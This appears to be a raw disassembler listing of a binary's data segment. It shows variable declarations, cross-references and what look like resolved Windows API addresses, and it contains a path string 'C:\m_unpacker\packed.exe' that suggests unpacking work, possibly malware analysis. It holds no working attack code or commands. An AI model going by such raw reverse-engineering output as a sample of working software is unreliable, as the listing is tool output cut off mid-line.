sub_4012D6:loc_401490r ... dword_444164 dd 76204E4Dh ; DATA XREF: sub_4012D6+879w dword_444168 dd 71AB2BBFh ; DATA XREF: sub_4012D6+692w ; sub_4012D6+7B4r ... dword_44416C dd 76F36EEBh ; DATA XREF: sub_4012D6+AA2w dword_444170 dd 77DDA595h ; DATA XREF: sub_4012D6+33Aw ; sub_41C3D9+55r dword_444174 dd 76D67A29h ; DATA XREF: sub_4012D6+AECw ; sub_4022F5+8Er dword_444178 dd 77C7531Dh ; DATA XREF: sub_4012D6+473w ; sub_4012D6+4CBr ... dword_44417C dd 71AB12F8h ; DATA XREF: sub_4012D6+5C2w ; sub_4012D6+730r ... dword_444180 dd 77C7212Fh ; DATA XREF: sub_4012D6+466w ; sub_4012D6+4C3r ... dword_444184 dd 77C72889h ; DATA XREF: sub_4012D6+4B4w ; sub_417F75+206r dword_444188 dd 71AB401Ch ; DATA XREF: sub_4012D6+5B5w ; sub_4012D6+724r ... dword_44418C dd 76D62A37h ; DATA XREF: sub_4012D6+927w ; sub_4012D6+93Br dword_444190 dd 77C729E2h ; DATA XREF: sub_4012D6+49Aw ; sub_4012D6+4E3r ... dword_444194 dd 71AB60C9h ; DATA XREF: sub_4012D6+54Dw ; sub_4012D6+6D0r dword_444198 dd 77DDACABh ; DATA XREF: sub_4012D6+40Fw ; sub_41D779+EDr dword_44419C dd 73B81B0Fh ; DATA XREF: sub_4012D6+C92w ; sub_40274D+6FC7r dword_4441A0 dd 71AB1AF4h ; DATA XREF: sub_4011F5+3Er ; sub_40123B+80r ... dword_4441A4 dd 77D902E3h ; DATA XREF: sub_4012D6+1B3w ; sub_41AEBB+15r dword_4441A8 dd 77E96645h ; DATA XREF: sub_4012D6+7Fw ; sub_4012D6+DAr ... dword_4441AC dd 71B2ACCBh ; DATA XREF: sub_4012D6+B29w ; sub_4012D6+B4Ar ... dword_4441B0 dd 71AB1890h ; DATA XREF: sub_4012D6+644w ; sub_4012D6+784r ... dword_4441B4 dd 77E6D75Bh ; DATA XREF: sub_4012D6+B3w dword_4441B8 dd 7620BD61h ; DATA XREF: sub_4012D6+866w ; sub_4012D6+8B4r dword_4441BC dd 1F7CB8F8h ; DATA XREF: sub_4012D6+C1Bw ; sub_4012D6+C47r dword_4441C0 dd 77C75455h ; DATA XREF: sub_4012D6+480w ; sub_4012D6+4D3r ... dword_4441C4 dd 71AB1740h ; DATA XREF: sub_4012D6+574w ; sub_4012D6+6E8r ... dword_4441C8 dd 77DDA20Bh ; DATA XREF: sub_4012D6+365w ; sub_4012D6+3BAr ... dword_4441CC dd 77D4702Fh ; DATA XREF: sub_4012D6+158w ; sub_4012D6+1ADr ... dword_4441D0 dd 77DE8075h ; DATA XREF: sub_4012D6+37Fw ; sub_4012D6+3CFr ... dword_4441D4 dd 71C45229h ; DATA XREF: sub_4012D6+9D8w ; sub_4012D6+A43r ... dword_4441D8 dd 77DDA2AFh ; DATA XREF: sub_4012D6+3B3w ; sub_4012D6+3EFr ... dword_4441DC dd 71AB12A7h ; DATA XREF: sub_4012D6+5F6w ; seg000:0040BB92r dword_4441E0 dd 71AB14DCh ; DATA XREF: sub_4012D6+567w ; sub_4012D6+6DCr dword_4441E4 dd 71AB3ECEh ; DATA XREF: sub_4012D6+637w ; sub_4012D6+77Cr ... dword_4441E8 dd 77DD189Ah ; DATA XREF: sub_401000+5Er ; sub_4012D6+2BFw ... dword_4441EC dd 77DE1291h ; DATA XREF: sub_4012D6+38Cw ; sub_4012D6+3D7r ... dword_4441F0 dd 76F36EAAh ; DATA XREF: sub_4012D6+A95w ; sub_4012D6+A9Cr ... dword_4441F4 dd 76D62A58h ; DATA XREF: sub_4012D6+934w dword_4441F8 dd 1F7D886Ah ; DATA XREF: sub_4012D6+BE7w ; sub_4012D6+C22r dword_4441FC dd 71ABD755h ; DATA XREF: sub_4012D6+69Fw ; sub_4012D6+7BCr ... dword_444200 dd 71AB1746h ; DATA XREF: sub_4012D6+5E9w ; sub_4012D6+754r dword_444204 dd 77DD7496h ; DATA XREF: sub_4012D6+3C0w ; sub_41C07C+ABr dword_444208 dd 0 ; DATA XREF: sub_4012D6+112w dword_44420C dd 71C2FA86h ; DATA XREF: sub_4012D6+997w ; sub_4012D6+A1Br ... dword_444210 dd 1F7CD927h ; DATA XREF: sub_4012D6+C01w ; sub_4012D6+C37r dword_444214 dd 77428B97h ; DATA XREF: sub_4012D6+B9Dw ; sub_4012D6+BA4r ... dword_444218 dd 71AB1A6Dh ; DATA XREF: seg000:00401121r ; sub_4012D6+6B9w ... dword_44421C dd 77C76551h ; DATA XREF: sub_4012D6+459w ; sub_4012D6+4BBr ... dword_444220 dd 71AB32CAh ; DATA XREF: sub_4012D6+685w ; sub_4012D6+7ACr ... dword_444224 dd 71AB1836h ; DATA XREF: seg000:0040112Cr ; seg000:00401132r ... dword_444228 dd 77DF7311h ; DATA XREF: sub_4012D6+32Dw ; sub_4012D6+341r ... dword_44422C dd 77D4808Bh ; DATA XREF: sub_4012D6+213w ; sub_4012D6+234r dword_444230 dd 71AB5DE2h ; DATA XREF: sub_4012D6+651w ; sub_4012D6+78Cr ... dword_444234 dd 71AB12A7h ; DATA XREF: sub_4012D6+5DCw ; sub_4012D6+748r ... dword_444238 dd 77DD22EAh ; DATA XREF: sub_4012D6+27Ew ; sub_4012D6+2D3r ... dword_44423C dd 77D5E38Ch ; DATA XREF: sub_4012D6+199w ; sub_4012D6+1DAr ... dword_444240 dd 71B22C25h ; DATA XREF: sub_4012D6+B36w ; sub_4012D6+B57r ... dword_444244 dd 77DD5D20h ; DATA XREF: sub_4012D6+320w ; sub_4012D6+334r ... dword_444248 dd 77E09134h ; DATA XREF: sub_4012D6+2CCw ; sub_41B065+47r dword_44424C dd 77DE801Bh ; DATA XREF: sub_4012D6+372w ; sub_4012D6+3C7r ... dword_444250 dd 77C76B34h ; DATA XREF: sub_4012D6+44Cw ; sub_4012D6+4AEr ... dword_444254 dd 0CC0004h ; DATA XREF: sub_4012D6+8DBw ; sub_4012D6:loc_401BCFw dword_444258 dd 762059A3h ; DATA XREF: sub_4012D6+825w ; sub_4012D6+890r dword_44425C dd 7622A3F4h ; DATA XREF: sub_4012D6+80Bw ; sub_4012D6+880r ... dword_444260 dd 71AB1746h ; DATA XREF: sub_4012D6+5CFw ; sub_4012D6+73Cr ... dword_444264 dd 0 ; DATA XREF: sub_4012D6:loc_4013D4w ; sub_4012D6+12Bw ... dword_444268 dd 0 ; DATA XREF: sub_4012D6+126w ; sub_401F92+1Cr dword_44426C dd 0 ; DATA XREF: sub_4012D6:loc_4014C4w ; sub_4012D6:loc_40152Bw ... dword_444270 dd 0 ; DATA XREF: sub_4012D6+250w ; sub_401F92+50r dword_444274 dd 0 ; DATA XREF: sub_4012D6:loc_4015DEw ; sub_4012D6:loc_401623w ... dword_444278 dd 0 ; DATA XREF: sub_4012D6+41Ew ; sub_401F92+84r dword_44427C dd 0 ; DATA XREF: sub_4012D6:loc_4017DAw ; sub_401F92:loc_402042r dword_444280 dd 0 ; DATA XREF: sub_4012D6+4FFw ; sub_401F92+B8r dword_444284 dd 0 ; DATA XREF: sub_4012D6:loc_401AABw ; sub_401F92:loc_402076r dword_444288 dd 0 ; DATA XREF: sub_4012D6+7D0w ; sub_401F92+ECr dword_44428C dd 0 ; DATA XREF: sub_4012D6:loc_401B96w ; sub_4012D6+8EFw ... dword_444290 dd 0 ; DATA XREF: sub_4012D6+8EAw ; sub_401F92+120r dword_444294 dd 0 ; DATA XREF: sub_4012D6:loc_401C2Aw ; sub_401F92:loc_4020DEr ... dword_444298 dd 0 ; DATA XREF: sub_4012D6+94Fw ; sub_401F92+154r dword_44429C dd 0 ; DATA XREF: sub_4012D6:loc_401D46w ; sub_401F92:loc_402112r ... dword_4442A0 dd 0 ; DATA XREF: sub_4012D6+A6Bw ; sub_401F92+188r dword_4442A4 dd 0 ; DATA XREF: sub_4012D6:loc_401D90w ; sub_401F92:loc_402146r dword_4442A8 dd 0 ; DATA XREF: sub_4012D6+AB5w ; sub_401F92+1BCr dword_4442AC dd 0 ; DATA XREF: sub_4012D6:loc_401DDAw ; sub_401F92:loc_40217Ar dword_4442B0 dd 0 ; DATA XREF: sub_4012D6+AFFw ; sub_401F92+1F0r dword_4442B4 dd 0 ; DATA XREF: sub_4012D6:loc_401E4Ew ; sub_401F92:loc_4021AEr dword_4442B8 dd 0 ; DATA XREF: sub_4012D6+B73w ; sub_401F92+224r dword_4442BC dd 0 ; DATA XREF: sub_4012D6:loc_401E98w ; sub_401F92:loc_4021E2r dword_4442C0 dd 0 ; DATA XREF: sub_4012D6+BBDw ; sub_401F92+258r dword_4442C4 dd 0 ; DATA XREF: sub_4012D6:loc_401F36w ; sub_401F92:loc_402216r dword_4442C8 dd 0 ; DATA XREF: sub_4012D6+C5Bw ; sub_401F92+28Cr dword_4442CC dd 0 ; DATA XREF: sub_4012D6:loc_401F80w ; sub_401F92:loc_40224Ar dword_4442D0 dd 0 ; DATA XREF: sub_4012D6+CA5w ; sub_401F92+2C0r dword_4442D4 dd 5 dup(0) ; DATA XREF: sub_4023C9+46o dword_4442E8 dd 0 ; DATA XREF: sub_40274D+5B75r ; sub_40274D+5C52r ... dd 7Fh dup(0) dword_4444E8 dd 0 ; DATA XREF: sub_40AE85+45w ; sub_40AF6E+3Ew ... dword_4444EC dd 0 ; DATA XREF: sub_40AE85+3Ew ; sub_40AF6E+44w ... dword_4444F0 dd 0 ; DATA XREF: sub_40AE85+52w ; sub_40AF6E+34r ... dword_4444F4 dd 0 ; DATA XREF: seg000:0040111Br ; sub_4025EF+83w ... dword_4444F8 dd 0 ; DATA XREF: sub_40AF6E+6Fr ; sub_40B149+2Aw ... dword_4444FC dd 0 ; DATA XREF: sub_40274D+719w ; sub_40274D+94Fw ... byte_444500 db 0 ; DATA XREF: sub_4025EF+5Do ; sub_40274D+5ABCr ... align 4 dd 493h dup(0) dword_445750 dd 473Ch dup(0) ; DATA XREF: seg001:004340F4o db 0 byte_457441 db 3 dup(0) ; DATA XREF: seg001:off_43764Co dd 0E306h dup(0) dword_49005C dd 947Ah dup(0) ; DATA XREF: seg001:off_432E14o db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: seg001:off_4374B8o dd 7028h dup(0) dword_4D12E8 dd 0 ; DATA XREF: sub_40A263:loc_40A728o ; sub_40AE85+13o ... dword_4D12EC dd 20h dup(0) ; DATA XREF: sub_40A263+47Co ; sub_40A263+509o ... dword_4D136C dd 10h dup(0) ; DATA XREF: sub_40A263+497o dword_4D13AC dd 24h dup(0) ; DATA XREF: sub_40A263+4AEo dword_4D143C dd 0 ; DATA XREF: sub_40A263+49Dw ; sub_40A263+520w ... dword_4D1440 dd 0 ; DATA XREF: sub_40A263+4B9w align 10h dword_4D1450 dd 0 ; DATA XREF: sub_40274D+A17o ; sub_40274D+A88r ... dd 5 dup(0) dword_4D1468 dd 0 ; DATA XREF: sub_40274D+A78r ; sub_417C78+63r dd 1Fh dup(0) dword_4D14E8 dd 0 ; DATA XREF: sub_40B075+16o ; sub_40B094+19o dword_4D14EC dd 2B9h dup(0) ; DATA XREF: sub_40B028+3Do dword_4D1FD0 dd 1Bh ; DATA XREF: sub_40274D:loc_404F29r ; sub_40A263+3Dw ... dword_4D1FD4 dd 0 ; DATA XREF: sub_40A263+136r byte_4D1FD8 db 0 ; DATA XREF: sub_402472+29r ; sub_402472+32o align 4 dword_4D1FDC dd 0 ; DATA XREF: sub_40274D+7B0Bw ; sub_40A263+4CAw ... dword_4D1FE0 dd 0 ; DATA XREF: sub_40274D+7E5r ; sub_40A263+481w dword_4D1FE4 dd 0BCE3h ; DATA XREF: seg000:0040B7E1r ; sub_40D055+30r ... byte_4D1FE8 db 0 ; DATA XREF: sub_40AD00+64r ; sub_40AD00+92w align 10h dword_4D1FF0 dd 0 ; DATA XREF: sub_40B619+18r ; seg000:0040BC4Cw dd 805h dup(0) dword_4D4008 dd 0 ; DATA XREF: sub_40B494+Er ; sub_40B494+31r dword_4D400C dd 0 ; DATA XREF: sub_40B494+9r ; sub_40B494+25r dword_4D4010 dd 0 ; DATA XREF: seg000:0040BAB8w ; seg000:0040BAF7o dword_4D4014 dd 4Fh dup(0) ; DATA XREF: seg000:0040BA86o db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: seg001:off_436E5Co dd 52h dup(0) dword_4D429C dd 41h dup(0) ; DATA XREF: seg000:0040BA5Bo dword_4D43A0 dd 0 ; DATA XREF: seg000:0040BA7Dw ; seg000:0040BAA5r align 8 dword_4D43A8 dd 0 ; DATA XREF: seg000:0040BAEDw ; seg000:0040BB09r dword_4D43AC dd 0 ; DATA XREF: seg000:0040BAABw dword_4D43B0 dd 0 ; DATA XREF: seg000:0040BABDw dword_4D43B4 dd 0 ; DATA XREF: seg000:0040BA8Bw dd 0 dword_4D43BC dd 0 ; DATA XREF: seg000:loc_40BB68r dword_4D43C0 dd 0 ; DATA XREF: seg000:0040B947w ; seg000:0040B9DDo dword_4D43C4 dd 0 ; DATA XREF: seg000:0040B9D3w ; seg000:0040B9EFr dword_4D43C8 dd 0 ; DATA XREF: seg000:0040B952w dword_4D43CC dd 0 ; DATA XREF: seg000:0040B93Cw ; seg000:0040B9AAr dword_4D43D0 dd 20h dup(0) ; DATA XREF: seg000:0040B965o ; seg000:0040B997o dword_4D4450 dd 0 ; DATA XREF: seg000:0040B958w dword_4D4454 dd 0 ; DATA XREF: seg000:0040B96Fw ; seg000:0040B9A1w dword_4D4458 dd 0 ; DATA XREF: seg000:loc_40BB53r align 10h dword_4D4460 dd 0 ; DATA XREF: seg000:0040B824w ; seg000:0040B8B6o dword_4D4464 dd 41h dup(0) ; DATA XREF: seg000:0040B7EDo dword_4D4568 dd 41h dup(0) ; DATA XREF: seg000:0040B80Bo dword_4D466C dd 0 ; DATA XREF: seg000:0040B8ACw ; seg000:0040B8C8r dword_4D4670 dd 0 ; DATA XREF: seg000:0040B7F9w dword_4D4674 dd 0 ; DATA XREF: seg000:0040B7F4w ; seg000:0040B883r dword_4D4678 dd 20h dup(0) ; DATA XREF: seg000:0040B83Do ; seg000:0040B86Fo dword_4D46F8 dd 0 ; DATA XREF: seg000:0040B830w dword_4D46FC dd 0 ; DATA XREF: seg000:0040B847w ; seg000:0040B879w dword_4D4700 dd 0 ; DATA XREF: seg000:loc_40B983r align 8 dword_4D4708 dd 0 ; DATA XREF: seg000:0040B712w ; seg000:0040B78Eo dword_4D470C dd 41h dup(0) ; DATA XREF: seg000:0040B6D6o dword_4D4810 dd 41h dup(0) ; DATA XREF: seg000:0040B6F9o dword_4D4914 dd 0 ; DATA XREF: seg000:0040B784w ; seg000:0040B7A0r dword_4D4918 dd 0 ; DATA XREF: seg000:0040B6E2w dword_4D491C dd 0 ; DATA XREF: seg000:0040B6DDw ; seg000:0040B75Br dword_4D4920 dd 20h dup(0) ; DATA XREF: seg000:0040B72Ao ; seg000:0040B747o dword_4D49A0 dd 0 ; DATA XREF: seg000:0040B71Dw dword_4D49A4 dd 0 ; DATA XREF: seg000:0040B734w ; seg000:0040B751w dword_4D49A8 dd 0 ; DATA XREF: seg000:loc_40B85Br dd 81h dup(0) dword_4D4BB0 dd 40h dup(0) ; DATA XREF: sub_40D055+C0o ; seg000:0040D2AFo dword_4D4CB0 dd 0 ; DATA XREF: seg000:0040D2C7w dword_4D4CB4 dd 0 ; DATA XREF: seg000:0040D688w ; seg000:0040D6A1r ... dword_4D4CB8 dd 0 ; DATA XREF: seg000:0040D29Ew ; seg000:0040D695w ... dword_4D4CBC dd 0 ; DATA XREF: seg000:0040D18Fw ; seg000:0040D290r ... dword_4D4CC0 dd 0 ; DATA XREF: seg000:0040D174w ; seg000:loc_40D1B6r align 8 dword_4D4CC8 dd 2Bh dup(0) ; DATA XREF: seg000:0040D236o dword_4D4D74 dd 81h dup(0) ; DATA XREF: seg000:0040D258o db 2 dup(0) word_4D4F7A dw 0 ; DATA XREF: seg000:0040D56Do ; seg000:0040D59Ao ... dword_4D4F7C dd 0 ; DATA XREF: seg000:loc_40D630o db 2 dup(0) word_4D4F82 dw 0 ; DATA XREF: seg000:0040D2F2o ; seg000:0040D324o ... dword_4D4F84 dd 4 dup(0) ; DATA XREF: seg000:loc_40D303o dword_4D4F94 dd 2Eh dup(0) ; DATA XREF: seg000:0040D269o db 2 dup(0) word_4D504E dw 0 ; DATA XREF: seg000:0040D27Do dd 1Eh dup(0) dword_4D50C8 dd 0 ; DATA XREF: seg000:0040D721w ; seg000:0040D74Br dword_4D50CC dd 3 dup(0) ; DATA XREF: sub_40ED91+66o dword_4D50D8 dd 40h dup(0) ; DATA XREF: sub_40F87A+1Eo dword_4D51D8 dd 0 ; DATA XREF: sub_40F87A+71r ; sub_40F87A+85r align 10h dword_4D51E0 dd 19h dup(0) ; DATA XREF: sub_40F87A+93o dword_4D5244 dd 0 ; DATA XREF: seg000:004115EFo ; seg000:00411624r ... dword_4D5248 dd 0 ; DATA XREF: seg000:004114FCr ; seg000:004115EAo ... dword_4D524C dd 0 ; DATA XREF: seg000:00411529r ; seg000:00411611o ... dword_4D5250 dd 0 ; DATA XREF: seg000:004114DEr ; seg000:00411547r ... dword_4D5254 dd 0 ; DATA XREF: seg000:0041160Co ; seg000:00411630r ... dword_4D5258 dd 0 ; DATA XREF: sub_40B4FF+15r dword_4D525C dd 0BC8Eh ; DATA XREF: seg000:0040B937r ; seg000:0040CF7Ar ... dword_4D5260 dd 0 ; DATA XREF: seg000:00411A2Aw ; seg000:00411A51r ... dd 5 dup(0) byte_4D5278 db 0 ; DATA XREF: seg000:00415D98w ; seg000:00415E97o align 2 word_4D527A dw 0 ; DATA XREF: seg000:00415DA8w word_4D527C dw 0 ; DATA XREF: seg000:00415DAEw word_4D527E dw 0 ; DATA XREF: seg000:00415DB5w byte_4D5280 db 0 ; DATA XREF: seg000:00415DBCw byte_4D5281 db 0 ; DATA XREF: seg000:00415DC3w word_4D5282 dw 0 ; DATA XREF: seg000:00415DC9w dword_4D5284 dd 0 ; DATA XREF: seg000:00415DF7w ; seg000:00415E15w dword_4D5288 dd 0 ; DATA XREF: seg000:00415E1Dw byte_4D528C db 0 ; DATA XREF: seg000:00415E2Fw byte_4D528D db 0 ; DATA XREF: seg000:00415E42w word_4D528E dw 0 ; DATA XREF: seg000:00415E5Aw word_4D5290 dw 0 ; DATA XREF: seg000:00415E69w word_4D5292 dw 0 ; DATA XREF: seg000:00415E61w dword_4D5294 dd 101h dup(0) ; DATA XREF: seg000:00415E7Eo dword_4D5698 dd 80h dup(0) ; DATA XREF: sub_40274D+2D39o ; sub_40274D:loc_405535o ... dword_4D5898 dd 0 ; DATA XREF: sub_40274D+1843w ; sub_40274D+2D31r ... align 10h byte_4D58A0 db 0 ; DATA XREF: sub_417272+1C8w ; sub_417272+2A1o align 2 word_4D58A2 dw 0 ; DATA XREF: sub_417272+1D5w word_4D58A4 dw 0 ; DATA XREF: sub_417272+1DFw word_4D58A6 dw 0 ; DATA XREF: sub_417272+1E8w byte_4D58A8 db 0 ; DATA XREF: sub_417272+1EFw byte_4D58A9 db 0 ; DATA XREF: sub_417272+1F6w word_4D58AA dw 0 ; DATA XREF: sub_417272+1FDw dword_4D58AC dd 0 ; DATA XREF: sub_417272+20Aw dword_4D58B0 dd 0 ; DATA XREF: sub_417272+212w word_4D58B4 dw 0 ; DATA XREF: sub_417272+26Bw word_4D58B6 dw 0 ; DATA XREF: sub_417272+253w word_4D58B8 dw 0 ; DATA XREF: sub_417272+27Dw word_4D58BA dw 0 ; DATA XREF: sub_417272+21Ew dword_4D58BC dd 100h dup(0) ; DATA XREF: sub_417272+28Co dword_4D5CBC dd 0 ; DATA XREF: sub_41776E+372w ; sub_41776E+3E8o dword_4D5CC0 dd 0 ; DATA XREF: sub_41776E+30Ew byte_4D5CC4 db 0 ; DATA XREF: sub_41776E+314w byte_4D5CC5 db 0 ; DATA XREF: sub_41776E+31Aw word_4D5CC6 dw 0 ; DATA XREF: sub_41776E+327w dword_4D5CC8 dd 6 dup(0) ; DATA XREF: sub_41776E+3CCo byte_4D5CE0 db 0 ; DATA XREF: sub_41776E+223o ; sub_41776E+238w ... byte_4D5CE1 db 0 ; DATA XREF: sub_41776E+246w word_4D5CE2 dw 0 ; DATA XREF: sub_41776E+270w word_4D5CE4 dw 0 ; DATA XREF: sub_41776E+25Ew ; sub_41776E:loc_417B11w word_4D5CE6 dw 0 ; DATA XREF: sub_41776E+276w byte_4D5CE8 db 0 ; DATA XREF: sub_41776E+27Dw byte_4D5CE9 db 0 ; DATA XREF: sub_41776E+23Fw word_4D5CEA dw 0 ; DATA XREF: sub_41776E+3B9w ; sub_41776E+3EDw dword_4D5CEC dd 0 ; DATA XREF: sub_41776E:loc_417A0Aw ; sub_41776E+36Dr dword_4D5CF0 dd 0 ; DATA XREF: sub_41776E+2A9w word_4D5CF4 dw 0 ; DATA XREF: sub_41776E+367w ; sub_41776E+3C7o word_4D5CF6 dw 0 ; DATA XREF: sub_41776E+308w ; sub_41776E+32Dr ... dword_4D5CF8 dd 0 ; DATA XREF: sub_41776E+2E2w ; sub_41776E+3AAw dword_4D5CFC dd 0 ; DATA XREF: sub_41776E+2FBw ; sub_41776E+37Ew ... byte_4D5D00 db 0 ; DATA XREF: sub_41776E+2E7r ; sub_41776E+2F0w byte_4D5D01 db 0 ; DATA XREF: sub_41776E+2AEw ; sub_41776E+377w ... word_4D5D02 dw 0 ; DATA XREF: sub_41776E+2BCw word_4D5D04 dw 0 ; DATA XREF: sub_41776E+3C0w ; sub_41776E+40Cw word_4D5D06 dw 0 ; DATA XREF: sub_41776E+301w dd 0 word_4D5D0C dw 0 ; DATA XREF: sub_41776E+333w ; sub_41776E+3FDo word_4D5D0E dw 0 ; DATA XREF: sub_41776E+342w ; sub_41776E+3DBw dword_4D5D10 dd 0 ; DATA XREF: sub_41776E+33Cw align 10h dword_4D5D20 dd 0 ; DATA XREF: sub_41776E+32w ; sub_41776E+406r align 8 dword_4D5D28 dd 100h dup(0) ; DATA XREF: sub_41776E+1ACo ; sub_41776E+44Fo dword_4D6128 dd 1000h dup(0) ; DATA XREF: sub_417D70+1Do ; sub_417E10o dword_4DA128 dd 0 ; DATA XREF: sub_417D70+13o ; sub_417E10+Eo ... dword_4DA12C dd 0Dh dup(0) ; DATA XREF: sub_419443+10o dword_4DA160 dd 201h dup(0) ; DATA XREF: seg000:00419C61o ; seg000:00419DC1o ... dword_4DA964 dd 0 ; DATA XREF: seg000:00419EA4r ; seg000:00419F4Ar dword_4DA968 dd 203h dup(0) ; DATA XREF: seg000:00419C78o ; seg000:00419DD8o ... dword_4DB174 dd 0 ; DATA XREF: seg000:00419E54r ; seg000:00419E7Dr ... dword_4DB178 dd 0 ; DATA XREF: seg000:00419CFEw ; seg000:00419E29w dword_4DB17C dd 0 ; DATA XREF: seg000:00419D03w ; seg000:00419E2Fw ... dword_4DB180 dd 0 ; DATA XREF: seg000:00419CDCw ; seg000:00419E9Er align 8 dword_4DB188 dd 80h dup(0) ; DATA XREF: seg000:00419EADo dword_4DB388 dd 80h dup(0) ; DATA XREF: seg000:00419F25o dword_4DB588 dd 0 ; DATA XREF: seg000:0041A7CCw ; seg000:loc_41A934w ... dword_4DB58C dd 0 ; DATA XREF: sub_40274D+39DDo ; sub_41A24C+13o ... dd 0 dword_4DB594 dd 0 ; DATA XREF: seg000:0041A7C4r ; sub_41A954+3Ar dd 7Fh dup(0) dword_4DB794 dd 0 ; DATA XREF: seg000:0041A7BCr ; sub_41A954+4Bw dd 1944h dup(0) dword_4E1CA8 dd 0 ; DATA XREF: sub_41A954+23o ; sub_41ACD0+6Do dword_4E1CAC dd 7Fh dup(0) ; DATA XREF: sub_40274D+39FBo ; sub_41A24C+3Co dword_4E1EA8 dd 17h dup(0) ; DATA XREF: sub_41B507:loc_41B620o ; sub_41B507+12Do ... dword_4E1F04 dd 0 ; DATA XREF: sub_41B802+53w ; sub_41B802+5Br ... dword_4E1F08 dd 0 ; DATA XREF: sub_41B802+33r ; sub_41B802+3Ew align 10h dword_4E1F10 dd 18h dup(0) ; DATA XREF: sub_41BD5A:loc_41BE78o ; sub_41BD5A+12Ao dword_4E1F70 dd 80h dup(0) ; DATA XREF: sub_41BE8A+81o ; sub_41BE8A+A9o dword_4E2170 dd 80h dup(0) ; DATA XREF: sub_41BF46:loc_41BF7Eo ; sub_41BF46+60o dword_4E2370 dd 80h dup(0) ; DATA XREF: sub_41BFBE+51o ; sub_41BFBE+83o ... dword_4E2570 dd 80h dup(0) ; DATA XREF: sub_41C19B+68o ; sub_41C19B+8Eo ... dword_4E2770 dd 0 ; DATA XREF: sub_41C7BD+1Ar ; sub_41C9D4+87o dword_4E2774 dd 0 ; DATA XREF: seg000:0041C936r ; seg000:0041C97Dr ... dword_4E2778 dd 0 ; DATA XREF: sub_41C78D:loc_41C7A1r ; sub_41C9D4+11Fw dword_4E277C dd 0 ; DATA XREF: sub_41C78Dr ; seg000:0041C916r ... dword_4E2780 dd 0Dh dup(0) ; DATA XREF: seg000:0041C931o ; seg000:0041C978o ... dword_4E27B4 dd 0 ; DATA XREF: sub_41C78D:loc_41C7AEr ; seg000:0041C8B1r ... dword_4E27B8 dd 0Eh dup(0) ; DATA XREF: sub_41D5F8+40o byte_4E27F0 db 0 ; DATA XREF: seg000:0041DF9Co ; seg000:0041DFC2o ... align 4 dd 3Fh dup(0) dword_4E28F0 dd 0 ; DATA XREF: sub_41E7B2+43r ; sub_41E7B2+9Fw dword_4E28F4 dd 0 ; DATA XREF: sub_41E524+9w ; sub_41EAB4+165w ... dword_4E28F8 dd 0 ; DATA XREF: sub_42065F+35w ; sub_420EE9:loc_420F83w ... dword_4E28FC dd 0 ; DATA XREF: sub_426A43+149r dword_4E2900 dd 2 ; DATA XREF: start-C32CAw sub_4210D5r ... dword_4E2904 dd 0A28h ; DATA XREF: start-C32AAw start-C3299w dword_4E2908 dd 501h ; DATA XREF: start-C328Ew dword_4E290C dd 5 ; DATA XREF: start-C32C1w ; sub_4210D5+9r ... dword_4E2910 dd 1 ; DATA XREF: start-C32B9w dword_4E2914 dd 1 ; DATA XREF: sub_40A263:loc_40A542r ; sub_42661A+8Fw dword_4E2918 dd 970B20h ; DATA XREF: sub_40A263+2E8r ; sub_40A263+308r ... align 10h dword_4E2920 dd 970B40h ; DATA XREF: sub_4263E7+48w ; sub_4263E7:loc_426498r ... align 10h off_4E2930 dd offset aCM_unpackerPac ; DATA XREF: sub_42661A+37w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4E2938 db 0 ; DATA XREF: sub_41F1B0+2Dw align 4 dword_4E293C dd 0 ; DATA XREF: sub_41F1B0+27w dword_4E2940 dd 0 ; DATA XREF: sub_41F1B0+7r ; sub_41F1B0+B0w dword_4E2944 dd 0 ; DATA XREF: sub_421F4A+14Cw ; sub_422C6E:loc_422C97w ... dd 0 dword_4E294C dd 0 ; DATA XREF: sub_41FE1A+Fw dword_4E2950 dd 0 ; DATA XREF: sub_4201AB+Ar ; sub_4201AB+13w ... dword_4E2954 dd 0 ; DATA XREF: start-C31D7w ; sub_4263E7:loc_4263F9r ... dd 0 dword_4E295C dd 0 ; DATA XREF: sub_420CE8r start-C3221r ... dword_4E2960 dd 0 ; DATA XREF: sub_421F2Fr dword_4E2964 dd 0 ; DATA XREF: sub_41E3C2:loc_41E4CBr ; sub_41E3C2:loc_41E509r ... align 10h dword_4E2970 dd 1 ; DATA XREF: sub_422F16+19w ; sub_422F16+21w ... dword_4E2974 dd 0 ; DATA XREF: sub_42490B+12r ; sub_4249FC+1Ar ... byte_4E2978 db 0 ; DATA XREF: sub_42490B+3r ; sub_42490B+8Dr ... align 4 dword_4E297C dd 0 ; DATA XREF: sub_4249FC+11r ; sub_424AD9+1Aw ... byte_4E2980 db 0 ; DATA XREF: sub_424AD9+57w align 4 dword_4E2984 dd 0 ; DATA XREF: sub_424DD8+32r ; sub_424DD8+42w ... dword_4E2988 dd 0 ; DATA XREF: sub_424DD8+3Ar ; sub_424DD8+4Bw ... dword_4E298C dd 0 ; DATA XREF: sub_424CB7+15w ; sub_424D64r ... dword_4E2990 dd 0 ; DATA XREF: sub_41FFBA+8Dr ; sub_425165+14r dword_4E2994 dd 0 ; DATA XREF: sub_4254B5+Cr aYnW db 'ynÂw',0 align 10h dd 0 dword_4E29A4 dd 0 ; DATA XREF: sub_4204DD+20r ; sub_4204DD:loc_4205AEr ... dd 3 dup(0) dword_4E29B4 dd 0 ; DATA XREF: sub_4204DD+61r ; sub_4204DD+C3r ... dd 0 dword_4E29BC dd 1 ; DATA XREF: sub_425B55+Er ; sub_425B55+31w ... dword_4E29C0 dd 0 ; DATA XREF: sub_4261E0+21r dword_4E29C4 dd 0 ; DATA XREF: seg000:00426281r ; seg000:0042628Cw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42661A+1Co ; seg002:off_4E2930o align 4 dd 3Ah dup(0) byte_4E2ACC db 0 ; DATA XREF: sub_42661A+23w align 10h dword_4E2AD0 dd 1 ; DATA XREF: sub_4266BC+2r ; sub_4266BC+24w ... dword_4E2AD4 dd 0 ; DATA XREF: sub_421F4A+7r dword_4E2AD8 dd 1 ; DATA XREF: sub_426DA0+Er ; sub_426DA0+2Ew ... dword_4E2ADC dd 0 ; DATA XREF: sub_426FC0+17r word_4E2AE0 dw 0 ; DATA XREF: sub_427FEF+1Fo ; sub_427FEF+4Dr byte_4E2AE2 db 0 ; DATA XREF: sub_427FEF+41r align 4 dword_4E2AE4 dd 6 dup(0) ; DATA XREF: sub_427FEF+5Co dword_4E2AFC dd 0 ; DATA XREF: sub_427FEF+48w ; sub_427FEF+66o dword_4E2B00 dd 